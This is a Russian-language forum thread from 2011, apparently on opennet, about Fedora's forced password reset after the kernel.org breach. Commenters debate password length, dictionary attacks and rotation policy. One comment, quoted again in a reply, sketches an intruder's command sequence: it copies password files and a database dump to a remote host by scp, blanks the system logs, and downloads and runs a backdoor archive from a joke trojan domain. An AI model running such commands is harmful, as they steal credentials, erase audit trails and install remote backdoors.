| |
| 2.18, anonymous (??), 08:38, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
Все никак не пойму они прикидываются или как ?
Любому видно что ЭТО банальный человеческий фактор !
И смена паролей ничего не даст..... ( почти ;) )
| | |
| |
| 3.19, Аноним (-), 09:31, 13/10/2011 [^] [^^] [^^^] [ответить]
| +2 +/– | |
На основании чего ты делаешь подобное заявление? Ты - Брюс Шнайер?
В СОни тоже был человеческий фактор?
| | |
| |
| 4.24, dry (ok), 09:45, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
 Брюс Шнайер таких глупостей не говорит. Не надо клепать на уважаемого человека. :)
| | |
| 4.45, Аноним (-), 15:21, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– | |
> На основании чего ты делаешь подобное заявление?
На основании банальной статистики. Больше человек — больше вероятность ошибки. В свободных проектах куча разработчиков причём они сидят не в одном офисе и контролировать что они делают ещё на своём компьютере и что запускают — невозможно.
| | |
|
|
|
| 1.4, aaa (??), 01:37, 13/10/2011 [ответить] [﹢﹢﹢] [ · · · ]
| –2 +/– |
вместо того, чтоб искустно раставить сеть для злаумышлеников, они решили отбежать подальше...
| | |
| |
| |
| 3.21, Аноним (-), 09:32, 13/10/2011 [^] [^^] [^^^] [ответить]
| –3 +/– | |
> Они -- кодеры, а не Супергерои.
Они - кодеры, а по НОРМАЛЬНЫМ методикам разработки в команде КОДЕРОВ должен быть АДМИНИСТРАТОР БЕЗОПАСНОСТИ. Это очевидно всем, только не кодерам.
| | |
| |
| 4.28, umbr (ok), 10:25, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
 >должен быть АДМИНИСТРАТОР БЕЗОПАСНОСТИ
Они надеются на лучшее :)
| | |
| |
| 5.39, Аноним (-), 15:10, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
>>должен быть АДМИНИСТРАТОР БЕЗОПАСНОСТИ
> Они надеются на лучшее :)
Лучшее произошло с кернелюорг.
| | |
|
| 4.35, szh (ok), 13:37, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
 Перечисли поименно кого ты считаешь за кодеров, и как ты выяснил про каждого из них что он не "АДМИНИСТРАТОР БЕЗОПАСНОСТИ".
| | |
| |
| 5.38, Аноним (-), 15:09, 13/10/2011 [^] [^^] [^^^] [ответить]
| –1 +/– |
Пошел ты. Назови лучше поименно ТЫ состав проектной команды - хотя бы одной - и ткни среди них пальцем в АДМИНИСТРАТОРА БЕЗОПАСНОСТИ.
| | |
|
| 4.53, crypt (??), 17:31, 13/10/2011 [^] [^^] [^^^] [ответить]
| +1 +/– |
opennet становится похож на habr: стот кому-то высказать конструктивную критику, его сходу минусуют. Конечно, столько пафоса и большими буквами не надо, но один толковый админ просто необходим, это факт. Я живу в глухой российской деревне и здесь обычная картина, когда молодой стартап вырастает и программер понимают, что им нужен отдельный админ. В глазах уже сливаются эти маленькие конторки, с одними и теми же детскими проблемами: один большой сервер с кучей сервисов, 10 юзеров и все судоеры, неправильно спланирована сеть, нужен policy routing и проч.
| | |
|
|
| |
| 3.32, konst (??), 13:13, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
 да ловить-то кого? Честных людей взломали :). Интереснее было бы проследить, что именно делают эти "взломщики" на сервере...
Но для этого 1-3 админов маловато будет :(
| | |
| |
| 4.34, pavlinux (ok), 13:34, 13/10/2011 [^] [^^] [^^^] [ответить]
| –1 +/– |
 > да ловить-то кого? Честных людей взломали :).
> Интереснее было бы проследить, что именно делают эти "взломщики" на сервере...
# mkdir -p /usr/share/man/manX/
# cp -a /etc/passwd /usr/share/man/manX/passwd.X
# cp -a /etc/passwd /usr/share/man/manX/shadow.X
# mysqldump > /usr/share/man/manX/mysql.X
# tar -cf /tmp/-X0.tmp /usr/share/man/manX/
# scp /tmp/-X0.tmp admin@root.org:
# rm -rf /tmp/-X0.tmp /usr/share/man/manX/*;
# mysql
INSERT INTO secret.user ...
# find /var/log -type f -exec echo " " > {} \;
# cd /tmp; wget http://super-puper.f00cking.trojan.org/backdoors.tgz
# tar -xvf backdoors.tgz; cd backdoors; make all; ./run.sh;
ну и так далее.
| | |
| |
| 5.36, konst (??), 14:26, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
>[оверквотинг удален]
> # mysqldump > /usr/share/man/manX/mysql.X
> # tar -cf /tmp/-X0.tmp /usr/share/man/manX/
> # scp /tmp/-X0.tmp admin@root.org:
> # rm -rf /tmp/-X0.tmp /usr/share/man/manX/*;
> # mysql
> INSERT INTO secret.user ...
> # find /var/log -type f -exec echo " " > {} \;
> # cd /tmp; wget http://super-puper.f00cking.trojan.org/backdoors.tgz
> # tar -xvf backdoors.tgz; cd backdoors; make all; ./run.sh;
> ну и так далее.
Это здорово. Но вопрос: как получить root на kernel.org (там ведь обновления проходят регулярно)?
| | |
| |
| 6.68, MrClon (?), 12:32, 18/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
> Это здорово. Но вопрос: как получить root на kernel.org (там ведь обновления
> проходят регулярно)?
На сайте — да, регулярно свежие ядра выкладывают (:
А вот на серверах какой-то старенький дистр, проскакивала где-то такая инфа.
| | |
|
|
|
|
| 2.33, szh (ok), 13:29, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
они работают над проэктом Федора а не над расставлением сетей для злоумышленников которых там вероятно нет.
| | |
|
| 1.8, pavlinux (ok), 02:42, 13/10/2011 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– | |
> от 20 букв в нижнем регистре.
Я уже знаю 2 пароля - internationalizationab, internationalizationabc :)
| | |
| |
| 2.9, Аноним (-), 03:11, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
И где тут смесь регистров и знаки препинания? Хотя конечно если всю фразу вводить - сойдет :)). Но столько печатать будет утомительно.
| | |
| |
| 3.12, upyx (ok), 06:12, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
 Такие длинные пароли не только тяжело подобрать их еще и лень вводить.
Когда люди привыкают часто вводить пароль, они начинают их вводить бездумно на любой запрос. С действительно длинным паролем срабатывает рефлекс: "А может не надо?", и бывает, что действительно не надо...
Это как противоположность системы безопасности в Win, где на изменения появляются предупреждения. Но эти предупреждения появляются так часто, а нажать кнопочку "Ага" так просто, что пользователи начинают их тыкать автоматически (ну кроме редких педантов).
Длинные и сложные пароли - всегда хорошая практика.
| | |
| |
| 4.14, pavlinux (ok), 06:25, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
Ну на кой ты это все тут нагенерил?!
---
Шутка юмора была про пароли из 20 нижнерегистровых букав и
про какое первое слово, в котором около 20 букав, придёт в мозг.
Моя утверждает что многим придёт в голову слово internationalization.
| | |
| |
| 5.26, Анон (?), 09:56, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
Да, помню на хабре недавно публиковали хороший алгоритм подбора паролей. В легкую брутились пароли вроде васяйцукен123 и даже куда более сложные на первый взгляд (до 4х простых составных частей) так что длина пароля сама по себе мало уже что значит
| | |
| |
| 6.29, anonymous (??), 11:07, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– | |
Несусветная глупость. Хаксоры локалхоста взламывают пароли проникая взглядом под черепную коробку пользователя, без применения технических средств.
Те, кто использует пароли "777" и "пароль" умрут, но продолжат их использовать. Для остальных
>длина пароля сама по себе мало уже что значит
как раз длина пароля много чего значит.
| | |
| |
| 7.41, Аноним (-), 15:11, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
> Несусветная глупость. Хаксоры локалхоста взламывают пароли проникая взглядом под черепную
> коробку пользователя, без применения технических средств.
> Те, кто использует пароли "777" и "пароль" умрут, но продолжат их использовать.
> Для остальных
>>длина пароля сама по себе мало уже что значит
> как раз длина пароля много чего значит.
Не трать порох. Этот недоумок никогда не слышал ни о пространсте перебора, ни о атаке по словарям.
| | |
| 7.47, Аноним (-), 15:27, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– | |
> как раз длина пароля много чего значит.
Если пароль составлен как комбинация нескольких более-менее общеизвестных слов/цифр, он выглядит секурно (с длиной - порядок), но на самом деле - брутфорсится довольно быстро. Потому что слов придуманных человечеством сильно меньше чем 256^20 например (число вариантов в идеале для 20-символьного пароля). Перебрать комбинации 2-3 слов и даже с наиболее типовыми мутациями - вполне реальная задача, особенно если хещи паролей крякать.
Поэтому сам факт что у тебя 20-символьный пароль еще вовсе не гарантирует что его завтра не сломает какой-то Пупкин. Чтобы Пупкин его натурально не сломал, он еще и должен быть более-менее честным рандомом. Запоминать 20 более-менее рандомных символов может задолбаться и сам обладатель пароля...
| | |
| |
| 8.60, Аноним (-), 23:07, 13/10/2011 [^] [^^] [^^^] [ответить] | +/– | Комбинации из 2-3 слов хорошо разбавляются разными символами и циферками, а ещё... текст свёрнут, показать | | |
|
|
|
|
|
|
| 2.13, upyx (ok), 06:24, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
>> от 20 букв в нижнем регистре.
> Я уже знаю 2 пароля - internationalizationab, internationalizationabc :)
Пример паролей от 20 букв подбирающихся за 20 минут?
| | |
| |
| 3.15, pavlinux (ok), 06:27, 13/10/2011 [^] [^^] [^^^] [ответить]
| –1 +/– |
>>> от 20 букв в нижнем регистре.
>> Я уже знаю 2 пароля - internationalizationab, internationalizationabc :)
> Пример паролей от 20 букв подбирающихся за 20 минут?
Кто ж тебе даст подбирать 20 минут.
Три неверных - минуту куришь, ещё три - ещё три куришь, потом ещё три - уже полчаса отдыхай.
| | |
| |
| 4.16, upyx (ok), 07:25, 13/10/2011 [^] [^^] [^^^] [ответить]
| +1 +/– |
>>>> от 20 букв в нижнем регистре.
>>> Я уже знаю 2 пароля - internationalizationab, internationalizationabc :)
>> Пример паролей от 20 букв подбирающихся за 20 минут?
> Кто ж тебе даст подбирать 20 минут.
> Три неверных - минуту куришь, ещё три - ещё три куришь, потом
> ещё три - уже полчаса отдыхай.
Да, да, а потом вообще пошлет на страницу капчу расшифровывать и на глупые вопросы отвечать...
Я имел ввиду подбор по хэшу. Его продолжительность должна быть дольше, чем время за которое станет известно, что хеш увели. А еще паронаидальнее исходить из предположения, что хеш всегда общедоступен и время подбора должно быть больше времени жизни пароля. :-)
К чему я это написал? Может быть к тому, что "интернационализация" - далеко не первое, что пришло мне в голову... ;-)
| | |
|
|
| 2.37, BliecanBag (ok), 14:37, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
 >> от 20 букв в нижнем регистре.
> Я уже знаю 2 пароля - internationalizationab, internationalizationabc :)
я знаю еще лучше: echo parol | sha512sum
| | |
| |
| 3.42, Аноним (-), 15:12, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
>>> от 20 букв в нижнем регистре.
>> Я уже знаю 2 пароля - internationalizationab, internationalizationabc :)
> я знаю еще лучше: echo parol | sha512sum
Зря так думаешь. Зная алгоритм хэширования - если без соли - легко провести словарную атаку, при таком говенном пароле.
| | |
|
|
| 1.17, Аноним (-), 08:08, 13/10/2011 [ответить] [﹢﹢﹢] [ · · · ]
| +1 +/– |
В сурьезных конторах пароли положено раз в месяц менять для профилактики.
И при любом подозрении на взлом или утечку.
Все правильно сделали.
| | |
| |
| 2.20, Fomalhaut (?), 09:32, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
 А вот интересно, как в таких конторах меняют пароли аккаунтов, от которых работают сервисы и пр.
| | |
| |
| 3.22, Аноним (-), 09:34, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
> А вот интересно, как в таких конторах меняют пароли аккаунтов, от которых
> работают сервисы и пр.
А это кодеры сервисов должны предусматривать. Теоретически. Потому что в нормальных системах сервисные аккаунты заблокированы или заэкспайрены.
| | |
| 3.25, zazik (ok), 09:48, 13/10/2011 [^] [^^] [^^^] [ответить]
| +2 +/– |
 > А вот интересно, как в таких конторах меняют пароли аккаунтов, от которых
> работают сервисы и пр.
В таких конторах не держат винду, поэтому учётка выглядит так:
freeradius:*:133:133::0:0:FreeRADIUS Daemon:/nonexistent:/usr/sbin/nologin
| | |
| 3.50, anonymous (??), 17:03, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
> А вот интересно, как в таких конторах меняют пароли аккаунтов, от которых
> работают сервисы и пр.
Зачем на системные аккаунты ставить пароли?
| | |
|
| 2.23, Аноним (-), 09:41, 13/10/2011 [^] [^^] [^^^] [ответить]
| +4 +/– | |
> В сурьезных конторах пароли положено раз в месяц менять для профилактики.
И сотрудники хранят эти пароли прикрепленными бумажками к монитору или ставят примитивные пароли типа 123a, 123b...123z, потому что не реально каждый месяц запоминать новый пароль. Типичный пример заблуждений в политике безопасности.
| | |
| |
| 3.27, Аноним (-), 10:14, 13/10/2011 [^] [^^] [^^^] [ответить]
| +11 +/– |
Однажды Сисадмин пожаловался Учителю:
– Мы выдали всем нашим пользователям индивидуальные пароли, а они не желают хранить их в тайне. Записывают на листочках и приклеивают к мониторам. Что нам делать? Как заставить их?
Инь Фу Во спросил:
– Сначала скажи, почему они это делают.
Сисадмин подумал и ответил:
– Может быть, они не считают пароль ценным?
– А разве пароль сам по себе ценный?
– Не сам по себе. Ценна информация, которая под паролем.
– Для кого она ценна?
– Для нашего предприятия.
– А для пользователей?
– Для пользователей, видимо, нет.
– Так и есть, – сказал Учитель. – Под паролем нет ничего ценного для наших работников. Надо, чтоб было.
– Что для них ценно? – спросил Сисадмин.
– Догадайся с трёх раз, – рассмеялся Учитель.
Сисадмин ушёл просветлённый и сделал на корпоративном портале персональные странички для всех работников. И на тех страничках был указан размер зарплаты. Узнав об этом, все пользователи забеспокоились о своих паролях. На другой день в курилке обсуждали размер зарплаты Главбуха. На третий день ни у кого не было видно листочков с паролями.
| | |
| |
| 4.30, Crazy Alex (ok), 12:31, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
 Притча зантяная, но тогда просто включится второй вариант - смена пароля по какому-то примитивному алгоритму. Потому что каждый месяц новый запоминать таки никто не будет.
| | |
| |
| 5.40, Харитон (?), 15:10, 13/10/2011 [^] [^^] [^^^] [ответить]
| –1 +/– |
 еще как будет! Все зависит от подачи пароля...
например если в случае с притчей доделать сайт так, что сумма зрплаты каждую минуту падает на 1дол. а восстановить базовую сумму можно зайдя на страничку. А в момент выдачи ЗП бух смотрит на сумму на страничке и выдает ту сумму какая есть на страничке.
Для особо рьяных по хождению на страничку - премия 5 дол.
После этого будут каждые 2 дня новый пароль из 20 символов(не букв) выучивать за нефиг делать...
| | |
| |
| 6.57, iZEN (ok), 19:24, 13/10/2011 [^] [^^] [^^^] [ответить]
| +1 +/– |
 > После этого будут каждые 2 дня новый пароль из 20 символов(не букв) выучивать за нефиг делать...
Сомневаюсь. Я бы с такой работы уволился — моя голова не ящик для паролей.
| | |
|
|
| 4.31, pavlinux (ok), 12:50, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
> Однажды Сисадмин пожаловался Учителю:
> – Мы выдали всем нашим пользователям индивидуальные пароли, а они не желают
> хранить их в тайне. Записывают на листочках и приклеивают к мониторам.
> Что нам делать? Как заставить их?
> Инь Фу Во спросил:
> – Сначала скажи, почему они это делают.
Потому, что у них есть бумажки.
| | |
| |
| 5.43, Аноним (-), 15:14, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
>> Однажды Сисадмин пожаловался Учителю:
>> – Мы выдали всем нашим пользователям индивидуальные пароли, а они не желают
>> хранить их в тайне. Записывают на листочках и приклеивают к мониторам.
>> Что нам делать? Как заставить их?
>> Инь Фу Во спросил:
>> – Сначала скажи, почему они это делают.
> Потому, что у них есть бумажки.
Потому что у них нет межушного ганглия.
| | |
| 5.61, anonymous vulgaris (?), 01:12, 14/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
> – Сначала скажи, почему они это делают.
>Потому, что у них есть бумажки.
Потому, что пароль он в основном от внешнего вторжения, а не от соседа слева
| | |
| |
| 6.63, pavlinux (ok), 04:39, 14/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
>> – Сначала скажи, почему они это делают.
>>Потому, что у них есть бумажки.
> Потому, что пароль он в основном от внешнего вторжения, а не от
> соседа слева
При этом 99% всех краж данных, паролей, вторжений исходит от внутренних сотрудников.
| | |
|
|
| 4.46, vle (ok), 15:23, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
 ТРИЗ в действии :-)
Похоже, автор этого анекдота -- ученик Альтшулера.
| | |
|
|
| 2.58, kholeg (ok), 20:35, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
 Подтвеждаю! Работаю на Сименсе - пароли меняются регулярно, и простой пароль типа 123456 не введёшь, и запоминает последние 5 или 7 паролей - приходится импровизировать.
О,о - не знал, что в таких крупных проектах, как Fedora, не сделана принудительная, регулярная смена пароля :-(
| | |
| |
| 3.62, anonymous vulgaris (?), 01:14, 14/10/2011 [^] [^^] [^^^] [ответить]
| –1 +/– |
> Подтвеждаю! Работаю на Сименсе - пароли меняются регулярно, и простой пароль типа
> 123456 не введёшь, и запоминает последние 5 или 7 паролей - приходится импровизировать.
Что в крупных компаниях маразм крепок известно хорошо. Это потому что манагеров там много.
| | |
|
|
| 1.56, Аноним (-), 19:18, 13/10/2011 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
Сдается мне что у них был взлом - и они пытаются прикрыться чужими что бы не марать свое имя.
| | |
| |
| 2.59, Аноним (-), 23:06, 13/10/2011 [^] [^^] [^^^] [ответить]
| +/– | |
>Сдается мне что у них был взлом - и они пытаются прикрыться чужими что бы не марать свое имя.
Сдается мне, это все мировой заговор. А во главе - Столман и Торвальдс. Они хотят захватить мир и убить всех человеков, не иначе.
| | |
| |
| 3.65, Аноним (-), 08:26, 14/10/2011 [^] [^^] [^^^] [ответить]
| +/– |
да? просто у fedora был уже взлом инфраструктуры... если официально объявить о еще одном - это расписаться в своем невежестве. А так - очень даже..
| | |
|
|
| 1.66, Аноним (-), 22:40, 14/10/2011 [ответить] [﹢﹢﹢] [ · · · ]
| +/– | |
Ядро надо менять, ядро! А не пароли.
Если ядро позволяет повысить привилегии простого пользователя до рута, а разработчики ядра вместо исправления ошибки запрещают ssh-доступ, то менять надо ядро.
| | |
|
